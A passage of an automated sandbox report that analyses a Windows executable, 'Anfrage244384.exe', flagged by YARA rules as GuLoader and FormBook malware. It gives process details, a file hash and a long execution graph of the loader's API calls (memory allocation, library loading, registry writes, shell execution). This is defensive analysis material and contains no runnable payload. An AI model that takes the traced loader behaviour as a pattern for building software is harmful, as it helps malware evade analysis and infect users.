                                                        • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1923188964.0000000003E32000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                        Reputation:low
                                                        Has exited:true

                                                        General

                                                        Target ID:4
                                                        Start time:14:41:21
                                                        Start date:06/11/2024
                                                        Path:C:\Users\user\Desktop\Anfrage244384.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\Desktop\Anfrage244384.exe"
                                                        Imagebase:0x400000
                                                        File size:1'235'192 bytes
                                                        MD5 hash:7A9799DB14A1D4AF0B38F4B69879A78F
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2357676631.0000000000060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                        Reputation:low
                                                        Has exited:true

                                                        Disassembly

                                                        Reset < >

                                                          Execution Graph

                                                          Execution Coverage:22.9%
                                                          Dynamic/Decrypted Code Coverage:14.4%
                                                          Signature Coverage:21.5%
                                                          Total number of Nodes:1473
                                                          Total number of Limit Nodes:46
                                                          execution_graph 4749 10001000 4752 1000101b 4749->4752 4759 100014bb 4752->4759 4754 10001020 4755 10001024 4754->4755 4756 10001027 GlobalAlloc 4754->4756 4757 100014e2 3 API calls 4755->4757 4756->4755 4758 10001019 4757->4758 4761 100014c1 4759->4761 4760 100014c7 4760->4754 4761->4760 4762 100014d3 GlobalFree 4761->4762 4762->4754 4763 402241 4764 402ace 18 API calls 4763->4764 4765 402247 4764->4765 4766 402ace 18 API calls 4765->4766 4767 402250 4766->4767 4768 402ace 18 API calls 4767->4768 4769 402259 4768->4769 4770 4060c7 2 API calls 4769->4770 4771 402262 4770->4771 4772 402273 lstrlenA lstrlenA 4771->4772 4776 402266 4771->4776 4774 404fdc 25 API calls 4772->4774 4773 404fdc 25 API calls 4777 40226e 4773->4777 4775 4022af SHFileOperationA 4774->4775 4775->4776 4775->4777 4776->4773 4778 4022c3 4779 4022ca 4778->4779 4781 4022dd 4778->4781 4780 405de5 18 API calls 4779->4780 4782 4022d7 4780->4782 4783 4055b9 MessageBoxIndirectA 4782->4783 4783->4781 4163 401746 4164 402ace 18 API calls 4163->4164 4165 40174d 4164->4165 4166 405a65 2 API calls 4165->4166 4167 401754 4166->4167 4168 405a65 2 API calls 4167->4168 4168->4167 4784 4026c7 4785 4026cd 4784->4785 4786 4026d5 FindClose 4785->4786 4787 40295e 4785->4787 4786->4787 4788 401947 4789 402ace 18 API calls 4788->4789 4790 40194e lstrlenA 4789->4790 4791 40258a 4790->4791 4792 402749 4793 402ace 18 API calls 4792->4793 4794 402757 4793->4794 4795 40276d 4794->4795 4797 402ace 18 API calls 4794->4797 4796 405a11 2 API calls 4795->4796 4798 402773 4796->4798 4797->4795 4820 405a36 GetFileAttributesA CreateFileA 4798->4820 4800 402780 4801 402823 4800->4801 4802 40278c GlobalAlloc 4800->4802 4805 40282b DeleteFileA 4801->4805 4806 40283e 4801->4806 4803 4027a5 4802->4803 4804 40281a CloseHandle 4802->4804 4821 40315b SetFilePointer 4803->4821 4804->4801 4805->4806 4808 4027ab 4809 403145 ReadFile 4808->4809 4810 4027b4 GlobalAlloc 4809->4810 4811 4027c4 4810->4811 4812 4027f8 4810->4812 4814 402f33 32 API calls 4811->4814 4813 405add WriteFile 4812->4813 4815 402804 GlobalFree 4813->4815 4817 4027d1 4814->4817 4816 402f33 32 API calls 4815->4816 4819 402817 4816->4819 4818 4027ef GlobalFree 4817->4818 4818->4812 4819->4804 4820->4800 4821->4808 4186 1000270b 4187 1000275b 4186->4187 4188 1000271b VirtualProtect 4186->4188 4188->4187 4825 1000180d 4826 10001830 4825->4826 4827 10001860 GlobalFree 4826->4827 4828 10001872 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 4826->4828 4827->4828 4829 10001266 2 API calls 4828->4829 4830 100019e3 GlobalFree GlobalFree 4829->4830 4831 4020cd 4832 402ace 18 API calls 4831->4832 4833 4020d4 4832->4833 4834 402ace 18 API calls 4833->4834 4835 4020de 4834->4835 4836 402ace 18 API calls 4835->4836 4837 4020e8 4836->4837 4838 402ace 18 API calls 4837->4838 4839 4020f2 4838->4839 4840 402ace 18 API calls 4839->4840 4841 4020fc 4840->4841 4842 40213b CoCreateInstance 4841->4842 4843 402ace 18 API calls 4841->4843 4844 402202 4842->4844 4847 40215a 4842->4847 4843->4842 4845 401423 25 API calls 4844->4845 4846 402238 4844->4846 4845->4846 4847->4844 4848 4021e2 MultiByteToWideChar 4847->4848 4848->4844 4199 404f50 4200 404f60 4199->4200 4201 404f74 4199->4201 4202 404f66 4200->4202 4203 404fbd 4200->4203 4204 404f7c IsWindowVisible 4201->4204 4210 404f9c 4201->4210 4206 403ff4 SendMessageA 4202->4206 4205 404fc2 CallWindowProcA 4203->4205 4204->4203 4207 404f89 4204->4207 4208 404f70 4205->4208 4206->4208 4213 4048a7 SendMessageA 4207->4213 4210->4205 4218 404927 4210->4218 4214 404906 SendMessageA 4213->4214 4215 4048ca GetMessagePos ScreenToClient SendMessageA 4213->4215 4217 4048fe 4214->4217 4216 404903 4215->4216 4215->4217 4216->4214 4217->4210 4227 405dc3 lstrcpynA 4218->4227 4220 40493a 4228 405d21 wsprintfA 4220->4228 4222 404944 4223 40140b 2 API calls 4222->4223 4224 40494d 4223->4224 4229 405dc3 lstrcpynA 4224->4229 4226 404954 4226->4203 4227->4220 4228->4222 4229->4226 4849 4028d2 4850 402aac 18 API calls 4849->4850 4851 4028d8 4850->4851 4852 40290d 4851->4852 4853 402729 4851->4853 4855 4028ea 4851->4855 4852->4853 4854 405de5 18 API calls 4852->4854 4854->4853 4855->4853 4857 405d21 wsprintfA 4855->4857 4857->4853 4246 4023d3 4247 4023d9 4246->4247 4248 402ace 18 API calls 4247->4248 4249 4023eb 4248->4249 4250 402ace 18 API calls 4249->4250 4251 4023f5 RegCreateKeyExA 4250->4251 4252 402729 4251->4252 4253 40241f 4251->4253 4254 402437 4253->4254 4256 402ace 18 API calls 4253->4256 4255 402443 4254->4255 4257 402aac 18 API calls 4254->4257 4258 402462 RegSetValueExA 4255->4258 4260 402f33 32 API calls 4255->4260 4259 402430 lstrlenA 4256->4259 4257->4255 4261 402478 RegCloseKey 4258->4261 4259->4254 4260->4258 4261->4252 4858 401cd4 4859 402aac 18 API calls 4858->4859 4860 401cda IsWindow 4859->4860 4861 401a0e 4860->4861 4263 403ad5 4264 403c28 4263->4264 4265 403aed 4263->4265 4267 403c79 4264->4267 4268 403c39 GetDlgItem GetDlgItem 4264->4268 4265->4264 4266 403af9 4265->4266 4270 403b04 SetWindowPos 4266->4270 4271 403b17 4266->4271 4269 403cd3 4267->4269 4280 401389 2 API calls 4267->4280 4272 403fa8 19 API calls 4268->4272 4273 403ff4 SendMessageA 4269->4273 4296 403c23 4269->4296 4270->4271 4274 403b34 4271->4274 4275 403b1c ShowWindow 4271->4275 4276 403c63 SetClassLongA 4272->4276 4307 403ce5 4273->4307 4277 403b56 4274->4277 4278 403b3c DestroyWindow 4274->4278 4275->4274 4279 40140b 2 API calls 4276->4279 4282 403b5b SetWindowLongA 4277->4282 4283 403b6c 4277->4283 4281 403f52 4278->4281 4279->4267 4284 403cab 4280->4284 4293 403f62 ShowWindow 4281->4293 4281->4296 4282->4296 4285 403c15 4283->4285 4286 403b78 GetDlgItem 4283->4286 4284->4269 4287 403caf SendMessageA 4284->4287 4343 40400f 4285->4343 4290 403ba8 4286->4290 4291 403b8b SendMessageA IsWindowEnabled 4286->4291 4287->4296 4288 40140b 2 API calls 4288->4307 4289 403f33 DestroyWindow EndDialog 4289->4281 4295 403bad 4290->4295 4297 403bb5 4290->4297 4299 403bfc SendMessageA 4290->4299 4300 403bc8 4290->4300 4291->4290 4291->4296 4293->4296 4294 405de5 18 API calls 4294->4307 4340 403f81 4295->4340 4297->4295 4297->4299 4299->4285 4302 403bd0 4300->4302 4303 403be5 4300->4303 4301 403be3 4301->4285 4306 40140b 2 API calls 4302->4306 4305 40140b 2 API calls 4303->4305 4304 403fa8 19 API calls 4304->4307 4308 403bec 4305->4308 4306->4295 4307->4288 4307->4289 4307->4294 4307->4296 4307->4304 4324 403e73 DestroyWindow 4307->4324 4334 403fa8 4307->4334 4308->4285 4308->4295 4310 403d60 GetDlgItem 4311 403d75 4310->4311 4312 403d7d ShowWindow KiUserCallbackDispatcher 4310->4312 4311->4312 4337 403fca EnableWindow 4312->4337 4314 403da7 EnableWindow 4317 403dbb 4314->4317 4315 403dc0 GetSystemMenu EnableMenuItem SendMessageA 4316 403df0 SendMessageA 4315->4316 4315->4317 4316->4317 4317->4315 4338 403fdd SendMessageA 4317->4338 4339 405dc3 lstrcpynA 4317->4339 4320 403e1e lstrlenA 4321 405de5 18 API calls 4320->4321 4322 403e2f SetWindowTextA 4321->4322 4323 401389 2 API calls 4322->4323 4323->4307 4324->4281 4325 403e8d CreateDialogParamA 4324->4325 4325->4281 4326 403ec0 4325->4326 4327 403fa8 19 API calls 4326->4327 4328 403ecb GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4327->4328 4329 401389 2 API calls 4328->4329 4330 403f11 4329->4330 4330->4296 4331 403f19 ShowWindow 4330->4331 4332 403ff4 SendMessageA 4331->4332 4333 403f31 4332->4333 4333->4281 4335 405de5 18 API calls 4334->4335 4336 403fb3 SetDlgItemTextA 4335->4336 4336->4310 4337->4314 4338->4317 4339->4320 4341 403f88 4340->4341 4342 403f8e SendMessageA 4340->4342 4341->4342 4342->4301 4344 4040b0 4343->4344 4345 404027 GetWindowLongA 4343->4345 4344->4296 4345->4344 4346 404038 4345->4346 4347 404047 GetSysColor 4346->4347 4348 40404a 4346->4348 4347->4348 4349 404050 SetTextColor 4348->4349 4350 40405a SetBkMode 4348->4350 4349->4350 4351 404072 GetSysColor 4350->4351 4352 404078 4350->4352 4351->4352 4353 404089 4352->4353 4354 40407f SetBkColor 4352->4354 4353->4344 4355 4040a3 CreateBrushIndirect 4353->4355 4356 40409c DeleteObject 4353->4356 4354->4353 4355->4344 4356->4355 4862 4014d6 4863 402aac 18 API calls 4862->4863 4864 4014dc Sleep 4863->4864 4866 40295e 4864->4866 4376 4025d7 4377 402aac 18 API calls 4376->4377 4382 4025e1 4377->4382 4378 40264f 4379 405aae ReadFile 4379->4382 4380 402651 4385 405d21 wsprintfA 4380->4385 4381 402661 4381->4378 4384 402677 SetFilePointer 4381->4384 4382->4378 4382->4379 4382->4380 4382->4381 4384->4378 4385->4378 4409 404959 GetDlgItem GetDlgItem 4410 4049ab 7 API calls 4409->4410 4417 404bc3 4409->4417 4411 404a41 SendMessageA 4410->4411 4412 404a4e DeleteObject 4410->4412 4411->4412 4413 404a57 4412->4413 4415 404a8e 4413->4415 4416 405de5 18 API calls 4413->4416 4414 404ca7 4420 404d53 4414->4420 4426 404f3b 4414->4426 4431 404d00 SendMessageA 4414->4431 4419 403fa8 19 API calls 4415->4419 4421 404a70 SendMessageA SendMessageA 4416->4421 4417->4414 4418 404c88 4417->4418 4424 404c23 4417->4424 4418->4414 4428 404c99 SendMessageA 4418->4428 4425 404aa2 4419->4425 4422 404d65 4420->4422 4423 404d5d SendMessageA 4420->4423 4421->4413 4433 404d77 ImageList_Destroy 4422->4433 4434 404d7e 4422->4434 4450 404d8e 4422->4450 4423->4422 4429 4048a7 5 API calls 4424->4429 4430 403fa8 19 API calls 4425->4430 4427 40400f 8 API calls 4426->4427 4432 404f49 4427->4432 4428->4414 4455 404c34 4429->4455 4435 404ab0 4430->4435 4431->4426 4437 404d15 SendMessageA 4431->4437 4433->4434 4438 404d87 GlobalFree 4434->4438 4434->4450 4439 404b84 GetWindowLongA SetWindowLongA 4435->4439 4446 404b7e 4435->4446 4449 404aff SendMessageA 4435->4449 4451 404b3b SendMessageA 4435->4451 4452 404b4c SendMessageA 4435->4452 4436 404efd 4436->4426 4441 404f0f ShowWindow GetDlgItem ShowWindow 4436->4441 4440 404d28 4437->4440 4438->4450 4442 404b9d 4439->4442 4445 404d39 SendMessageA 4440->4445 4441->4426 4443 404ba3 ShowWindow 4442->4443 4444 404bbb 4442->4444 4464 403fdd SendMessageA 4443->4464 4465 403fdd SendMessageA 4444->4465 4445->4420 4446->4439 4446->4442 4449->4435 4450->4436 4453 404927 4 API calls 4450->4453 4460 404dc9 4450->4460 4451->4435 4452->4435 4453->4460 4454 404bb6 4454->4426 4455->4418 4456 404ed3 InvalidateRect 4456->4436 4457 404ee9 4456->4457 4466 404862 4457->4466 4458 404df7 SendMessageA 4459 404e0d 4458->4459 4459->4456 4461 404e6e 4459->4461 4463 404e81 SendMessageA SendMessageA 4459->4463 4460->4458 4460->4459 4461->4463 4463->4459 4464->4454 4465->4417 4469 40479d 4466->4469 4468 404877 4468->4436 4470 4047b3 4469->4470 4471 405de5 18 API calls 4470->4471 4472 404817 4471->4472 4473 405de5 18 API calls 4472->4473 4474 404822 4473->4474 4475 405de5 18 API calls 4474->4475 4476 404838 lstrlenA wsprintfA SetDlgItemTextA 4475->4476 4476->4468 4477 401759 4478 402ace 18 API calls 4477->4478 4479 401760 4478->4479 4480 401786 4479->4480 4481 40177e 4479->4481 4518 405dc3 lstrcpynA 4480->4518 4517 405dc3 lstrcpynA 4481->4517 4484 401784 4488 40602e 5 API calls 4484->4488 4485 401791 4486 405835 3 API calls 4485->4486 4487 401797 lstrcatA 4486->4487 4487->4484 4510 4017a3 4488->4510 4489 4060c7 2 API calls 4489->4510 4490 4017e4 4491 405a11 2 API calls 4490->4491 4491->4510 4493 4017ba CompareFileTime 4493->4510 4494 40187e 4496 404fdc 25 API calls 4494->4496 4495 401855 4497 404fdc 25 API calls 4495->4497 4504 40186a 4495->4504 4498 401888 4496->4498 4497->4504 4499 402f33 32 API calls 4498->4499 4500 40189b 4499->4500 4501 4018af SetFileTime 4500->4501 4503 4018c1 CloseHandle 4500->4503 4501->4503 4502 405de5 18 API calls 4502->4510 4503->4504 4505 4018d2 4503->4505 4507 4018d7 4505->4507 4508 4018ea 4505->4508 4506 405dc3 lstrcpynA 4506->4510 4511 405de5 18 API calls 4507->4511 4509 405de5 18 API calls 4508->4509 4512 4018f2 4509->4512 4510->4489 4510->4490 4510->4493 4510->4494 4510->4495 4510->4502 4510->4506 4513 4055b9 MessageBoxIndirectA 4510->4513 4516 405a36 GetFileAttributesA CreateFileA 4510->4516 4514 4018df lstrcatA 4511->4514 4515 4055b9 MessageBoxIndirectA 4512->4515 4513->4510 4514->4512 4515->4504 4516->4510 4517->4484 4518->4485 4867 401659 4868 402ace 18 API calls 4867->4868 4869 40165f 4868->4869 4870 4060c7 2 API calls 4869->4870 4871 401665 4870->4871 4872 401e59 4873 402ace 18 API calls 4872->4873 4874 401e5f 4873->4874 4875 402ace 18 API calls 4874->4875 4876 401e68 4875->4876 4877 402ace 18 API calls 4876->4877 4878 401e71 4877->4878 4879 402ace 18 API calls 4878->4879 4880 401e7a 4879->4880 4881 401423 25 API calls 4880->4881 4882 401e81 ShellExecuteA 4881->4882 4883 401eae 4882->4883 4884 401959 4885 402aac 18 API calls 4884->4885 4886 401960 4885->4886 4887 402aac 18 API calls 4886->4887 4888 40196d 4887->4888 4889 402ace 18 API calls 4888->4889 4890 401984 lstrlenA 4889->4890 4891 401994 4890->4891 4892 4019d4 4891->4892 4896 405dc3 lstrcpynA 4891->4896 4894 4019c4 4894->4892 4895 4019c9 lstrlenA 4894->4895 4895->4892 4896->4894 4897 1000161a 4898 10001649 4897->4898 4899 10001a5d 18 API calls 4898->4899 4900 10001650 4899->4900 4901 10001663 4900->4901 4902 10001657 4900->4902 4904 1000168a 4901->4904 4905 1000166d 4901->4905 4903 10001266 2 API calls 4902->4903 4908 10001661 4903->4908 4906 10001690 4904->4906 4907 100016b4 4904->4907 4909 100014e2 3 API calls 4905->4909 4910 10001559 3 API calls 4906->4910 4911 100014e2 3 API calls 4907->4911 4912 10001672 4909->4912 4913 10001695 4910->4913 4911->4908 4914 10001559 3 API calls 4912->4914 4915 10001266 2 API calls 4913->4915 4916 10001678 4914->4916 4918 1000169b GlobalFree 4915->4918 4917 10001266 2 API calls 4916->4917 4919 1000167e GlobalFree 4917->4919 4918->4908 4920 100016af GlobalFree 4918->4920 4919->4908 4920->4908 4539 401b5d 4540 401b6a 4539->4540 4541 401bae 4539->4541 4547 401bf2 4540->4547 4548 401b81 4540->4548 4542 401bd7 GlobalAlloc 4541->4542 4545 401bb2 4541->4545 4543 405de5 18 API calls 4542->4543 4543->4547 4544 405de5 18 API calls 4549 4022d7 4544->4549 4553 4022dd 4545->4553 4560 405dc3 lstrcpynA 4545->4560 4547->4544 4547->4553 4558 405dc3 lstrcpynA 4548->4558 4552 4055b9 MessageBoxIndirectA 4549->4552 4550 401bc4 GlobalFree 4550->4553 4552->4553 4554 401b90 4559 405dc3 lstrcpynA 4554->4559 4556 401b9f 4561 405dc3 lstrcpynA 4556->4561 4558->4554 4559->4556 4560->4550 4561->4553 4921 401f5d 4922 402ace 18 API calls 4921->4922 4923 401f64 4922->4923 4924 40615c 5 API calls 4923->4924 4925 401f73 4924->4925 4926 401f8b GlobalAlloc 4925->4926 4929 401ff3 4925->4929 4927 401f9f 4926->4927 4926->4929 4928 40615c 5 API calls 4927->4928 4930 401fa6 4928->4930 4931 40615c 5 API calls 4930->4931 4932 401fb0 4931->4932 4932->4929 4936 405d21 wsprintfA 4932->4936 4934 401fe7 4937 405d21 wsprintfA 4934->4937 4936->4934 4937->4929 4938 401a5e 4939 402aac 18 API calls 4938->4939 4940 401a64 4939->4940 4941 402aac 18 API calls 4940->4941 4942 401a0e 4941->4942 4943 4026e1 4944 4026e7 4943->4944 4945 4026eb FindNextFileA 4944->4945 4947 4026fd 4944->4947 4946 40273c 4945->4946 4945->4947 4949 405dc3 lstrcpynA 4946->4949 4949->4947 4950 4043e6 4951 404412 4950->4951 4952 404423 4950->4952 5011 40559d GetDlgItemTextA 4951->5011 4954 40442f GetDlgItem 4952->4954 4961 40448e 4952->4961 4957 404443 4954->4957 4955 404572 4960 40471c 4955->4960 5013 40559d GetDlgItemTextA 4955->5013 4956 40441d 4958 40602e 5 API calls 4956->4958 4959 404457 SetWindowTextA 4957->4959 4963 4058ce 4 API calls 4957->4963 4958->4952 4964 403fa8 19 API calls 4959->4964 4967 40400f 8 API calls 4960->4967 4961->4955 4961->4960 4965 405de5 18 API calls 4961->4965 4969 40444d 4963->4969 4970 404473 4964->4970 4971 404502 SHBrowseForFolderA 4965->4971 4966 4045a2 4972 405923 18 API calls 4966->4972 4968 404730 4967->4968 4969->4959 4976 405835 3 API calls 4969->4976 4973 403fa8 19 API calls 4970->4973 4971->4955 4974 40451a CoTaskMemFree 4971->4974 4975 4045a8 4972->4975 4977 404481 4973->4977 4978 405835 3 API calls 4974->4978 5014 405dc3 lstrcpynA 4975->5014 4976->4959 5012 403fdd SendMessageA 4977->5012 4980 404527 4978->4980 4983 40455e SetDlgItemTextA 4980->4983 4987 405de5 18 API calls 4980->4987 4982 404487 4985 40615c 5 API calls 4982->4985 4983->4955 4984 4045bf 4986 40615c 5 API calls 4984->4986 4985->4961 4993 4045c6 4986->4993 4988 404546 lstrcmpiA 4987->4988 4988->4983 4991 404557 lstrcatA 4988->4991 4989 404602 5015 405dc3 lstrcpynA 4989->5015 4991->4983 4992 404609 4994 4058ce 4 API calls 4992->4994 4993->4989 4997 40587c 2 API calls 4993->4997 4999 40465a 4993->4999 4995 40460f GetDiskFreeSpaceA 4994->4995 4998 404633 MulDiv 4995->4998 4995->4999 4997->4993 4998->4999 5000 4046cb 4999->5000 5002 404862 21 API calls 4999->5002 5001 4046ee 5000->5001 5003 40140b 2 API calls 5000->5003 5016 403fca EnableWindow 5001->5016 5004 4046b8 5002->5004 5003->5001 5006 4046cd SetDlgItemTextA 5004->5006 5007 4046bd 5004->5007 5006->5000 5009 40479d 21 API calls 5007->5009 5008 40470a 5008->4960 5017 40437b 5008->5017 5009->5000 5011->4956 5012->4982 5013->4966 5014->4984 5015->4992 5016->5008 5018 404389 5017->5018 5019 40438e SendMessageA 5017->5019 5018->5019 5019->4960 4169 40166a 4170 402ace 18 API calls 4169->4170 4171 401671 4170->4171 4172 402ace 18 API calls 4171->4172 4173 40167a 4172->4173 4174 402ace 18 API calls 4173->4174 4175 401683 MoveFileA 4174->4175 4176 401696 4175->4176 4182 40168f 4175->4182 4178 4060c7 2 API calls 4176->4178 4180 402238 4176->4180 4179 4016a5 4178->4179 4179->4180 4181 405c7e 38 API calls 4179->4181 4181->4182 4183 401423 4182->4183 4184 404fdc 25 API calls 4183->4184 4185 401431 4184->4185 4185->4180 5020 4019ed 5021 402ace 18 API calls 5020->5021 5022 4019f4 5021->5022 5023 402ace 18 API calls 5022->5023 5024 4019fd 5023->5024 5025 401a04 lstrcmpiA 5024->5025 5026 401a16 lstrcmpA 5024->5026 5027 401a0a 5025->5027 5026->5027 5028 40256e 5029 402ace 18 API calls 5028->5029 5030 402575 5029->5030 5033 405a36 GetFileAttributesA CreateFileA 5030->5033 5032 402581 5033->5032 5034 4040f1 5035 404107 5034->5035 5039 404213 5034->5039 5037 403fa8 19 API calls 5035->5037 5036 404282 5038 40428c GetDlgItem 5036->5038 5040 404356 5036->5040 5041 40415d 5037->5041 5042 4042a2 5038->5042 5043 404314 5038->5043 5039->5036 5039->5040 5044 404257 GetDlgItem SendMessageA 5039->5044 5045 40400f 8 API calls 5040->5045 5046 403fa8 19 API calls 5041->5046 5042->5043 5051 4042c8 6 API calls 5042->5051 5043->5040 5047 404326 5043->5047 5065 403fca EnableWindow 5044->5065 5049 404351 5045->5049 5050 40416a CheckDlgButton 5046->5050 5052 40432c SendMessageA 5047->5052 5053 40433d 5047->5053 5063 403fca EnableWindow 5050->5063 5051->5043 5052->5053 5053->5049 5056 404343 SendMessageA 5053->5056 5054 40427d 5057 40437b SendMessageA 5054->5057 5056->5049 5057->5036 5058 404188 GetDlgItem 5064 403fdd SendMessageA 5058->5064 5060 40419e SendMessageA 5061 4041c5 SendMessageA SendMessageA lstrlenA SendMessageA SendMessageA 5060->5061 5062 4041bc GetSysColor 5060->5062 5061->5049 5062->5061 5063->5058 5064->5060 5065->5054 4230 4022f2 4231 4022fa 4230->4231 4236 402300 4230->4236 4232 402ace 18 API calls 4231->4232 4232->4236 4233 402ace 18 API calls 4235 402310 4233->4235 4234 40231e 4238 402ace 18 API calls 4234->4238 4235->4234 4237 402ace 18 API calls 4235->4237 4236->4233 4236->4235 4237->4234 4239 402327 WritePrivateProfileStringA 4238->4239 5066 100015b3 5067 100014bb GlobalFree 5066->5067 5069 100015cb 5067->5069 5068 10001611 GlobalFree 5069->5068 5070 100015e6 5069->5070 5071 100015fd VirtualFree 5069->5071 5070->5068 5071->5068 5072 4014f4 SetForegroundWindow 5073 40295e 5072->5073 4357 4024f5 4358 402bd8 19 API calls 4357->4358 4359 4024ff 4358->4359 4360 402aac 18 API calls 4359->4360 4361 402508 4360->4361 4362 402523 RegEnumKeyA 4361->4362 4363 40252f RegEnumValueA 4361->4363 4365 402729 4361->4365 4364 402548 RegCloseKey 4362->4364 4363->4364 4363->4365 4364->4365 5074 401cf5 5075 402aac 18 API calls 5074->5075 5076 401cfc 5075->5076 5077 402aac 18 API calls 5076->5077 5078 401d08 GetDlgItem 5077->5078 5079 40258a 5078->5079 4386 402377 4387 4023a7 4386->4387 4388 40237c 4386->4388 4390 402ace 18 API calls 4387->4390 4389 402bd8 19 API calls 4388->4389 4391 402383 4389->4391 4392 4023ae 4390->4392 4393 40238d 4391->4393 4397 4023c4 4391->4397 4398 402b0e RegOpenKeyExA 4392->4398 4394 402ace 18 API calls 4393->4394 4396 402394 RegDeleteValueA RegCloseKey 4394->4396 4396->4397 4399 402ba2 4398->4399 4407 402b39 4398->4407 4399->4397 4400 402b5f RegEnumKeyA 4401 402b71 RegCloseKey 4400->4401 4400->4407 4402 40615c 5 API calls 4401->4402 4405 402b81 4402->4405 4403 402b96 RegCloseKey 4406 402b85 4403->4406 4404 402b0e 5 API calls 4404->4407 4405->4406 4408 402bb1 RegDeleteKeyA 4405->4408 4406->4399 4407->4400 4407->4401 4407->4403 4407->4404 4408->4406 5080 1000103d 5081 1000101b 5 API calls 5080->5081 5082 10001056 5081->5082 5083 4018fd 5084 401934 5083->5084 5085 402ace 18 API calls 5084->5085 5086 401939 5085->5086 5087 405665 69 API calls 5086->5087 5088 401942 5087->5088 4566 401fff 4567 402011 4566->4567 4568 4020bf 4566->4568 4569 402ace 18 API calls 4567->4569 4570 401423 25 API calls 4568->4570 4571 402018 4569->4571 4576 402238 4570->4576 4572 402ace 18 API calls 4571->4572 4573 402021 4572->4573 4574 402036 LoadLibraryExA 4573->4574 4575 402029 GetModuleHandleA 4573->4575 4574->4568 4577 402046 GetProcAddress 4574->4577 4575->4574 4575->4577 4578 402092 4577->4578 4579 402055 4577->4579 4582 404fdc 25 API calls 4578->4582 4580 402074 4579->4580 4581 40205d 4579->4581 4587 100016bd 4580->4587 4583 401423 25 API calls 4581->4583 4584 402065 4582->4584 4583->4584 4584->4576 4585 4020b3 FreeLibrary 4584->4585 4585->4576 4588 100016ed 4587->4588 4629 10001a5d 4588->4629 4590 100016f4 4591 1000180a 4590->4591 4592 10001705 4590->4592 4593 1000170c 4590->4593 4591->4584 4679 100021b0 4592->4679 4661 100021fa 4593->4661 4598 10001770 4602 100017b2 4598->4602 4603 10001776 4598->4603 4599 10001752 4692 100023da 4599->4692 4600 10001722 4605 10001728 4600->4605 4610 10001733 4600->4610 4601 1000173b 4612 10001731 4601->4612 4689 10002aa3 4601->4689 4608 100023da 11 API calls 4602->4608 4606 10001559 3 API calls 4603->4606 4605->4612 4673 100027e8 4605->4673 4614 1000178c 4606->4614 4619 100017a4 4608->4619 4609 10001758 4703 10001559 4609->4703 4683 10002589 4610->4683 4612->4598 4612->4599 4617 100023da 11 API calls 4614->4617 4616 10001739 4616->4612 4617->4619 4620 100017f9 4619->4620 4714 100023a0 4619->4714 4620->4591 4623 10001803 GlobalFree 4620->4623 4623->4591 4626 100017e5 4626->4620 4718 100014e2 wsprintfA 4626->4718 4627 100017de FreeLibrary 4627->4626 4721 10001215 GlobalAlloc 4629->4721 4631 10001a81 4722 10001215 GlobalAlloc 4631->4722 4633 10001cbb GlobalFree GlobalFree GlobalFree 4634 10001cd8 4633->4634 4653 10001d22 4633->4653 4635 1000201a 4634->4635 4643 10001ced 4634->4643 4634->4653 4637 1000203c GetModuleHandleA 4635->4637 4635->4653 4636 10001b60 GlobalAlloc 4657 10001a8c 4636->4657 4640 10002062 4637->4640 4641 1000204d LoadLibraryA 4637->4641 4638 10001bab lstrcpyA 4644 10001bb5 lstrcpyA 4638->4644 4639 10001bc9 GlobalFree 4639->4657 4729 100015a4 GetProcAddress 4640->4729 4641->4640 4641->4653 4643->4653 4725 10001224 4643->4725 4644->4657 4645 100020b3 4647 100020c0 lstrlenA 4645->4647 4645->4653 4646 10001f7a 4652 10001fbe lstrcpyA 4646->4652 4646->4653 4730 100015a4 GetProcAddress 4647->4730 4649 10002074 4649->4645 4660 1000209d GetProcAddress 4649->4660 4652->4653 4653->4590 4654 10001c07 4654->4657 4723 10001534 GlobalSize GlobalAlloc 4654->4723 4655 10001e75 GlobalFree 4655->4657 4656 100020d9 4656->4653 4657->4633 4657->4636 4657->4638 4657->4639 4657->4644 4657->4646 4657->4653 4657->4654 4657->4655 4659 10001224 2 API calls 4657->4659 4728 10001215 GlobalAlloc 4657->4728 4659->4657 4660->4645 4663 10002212 4661->4663 4662 10001224 GlobalAlloc lstrcpynA 4662->4663 4663->4662 4665 10002349 GlobalFree 4663->4665 4666 100022b9 GlobalAlloc MultiByteToWideChar 4663->4666 4667 1000230a lstrlenA 4663->4667 4732 100012ad 4663->4732 4665->4663 4668 10001712 4665->4668 4669 10002303 4666->4669 4670 100022e3 GlobalAlloc 4666->4670 4667->4665 4667->4669 4668->4600 4668->4601 4668->4612 4669->4665 4736 1000251d 4669->4736 4671 100022fa GlobalFree 4670->4671 4671->4665 4675 100027fa 4673->4675 4674 1000289f VirtualAlloc 4676 100028bd 4674->4676 4675->4674 4677 100029b9 4676->4677 4678 100029ae GetLastError 4676->4678 4677->4612 4678->4677 4680 100021c0 4679->4680 4682 1000170b 4679->4682 4681 100021d2 GlobalAlloc 4680->4681 4680->4682 4681->4680 4682->4593 4687 100025a5 4683->4687 4684 100025f6 GlobalAlloc 4688 10002618 4684->4688 4685 10002609 4686 1000260e GlobalSize 4685->4686 4685->4688 4686->4688 4687->4684 4687->4685 4688->4616 4690 10002aae 4689->4690 4691 10002aee GlobalFree 4690->4691 4739 10001215 GlobalAlloc 4692->4739 4694 100023e6 4695 1000243a lstrcpynA 4694->4695 4696 1000244b StringFromGUID2 WideCharToMultiByte 4694->4696 4697 1000246f WideCharToMultiByte 4694->4697 4698 10002490 wsprintfA 4694->4698 4699 100024b4 GlobalFree 4694->4699 4700 100024ee GlobalFree 4694->4700 4701 10001266 2 API calls 4694->4701 4740 100012d1 4694->4740 4695->4694 4696->4694 4697->4694 4698->4694 4699->4694 4700->4609 4701->4694 4744 10001215 GlobalAlloc 4703->4744 4705 1000155f 4707 10001586 4705->4707 4708 1000156c lstrcpyA 4705->4708 4709 100015a0 4707->4709 4710 1000158b wsprintfA 4707->4710 4708->4709 4711 10001266 4709->4711 4710->4709 4712 100012a8 GlobalFree 4711->4712 4713 1000126f GlobalAlloc lstrcpynA 4711->4713 4712->4619 4713->4712 4715 100023ae 4714->4715 4717 100017c5 4714->4717 4716 100023c7 GlobalFree 4715->4716 4715->4717 4716->4715 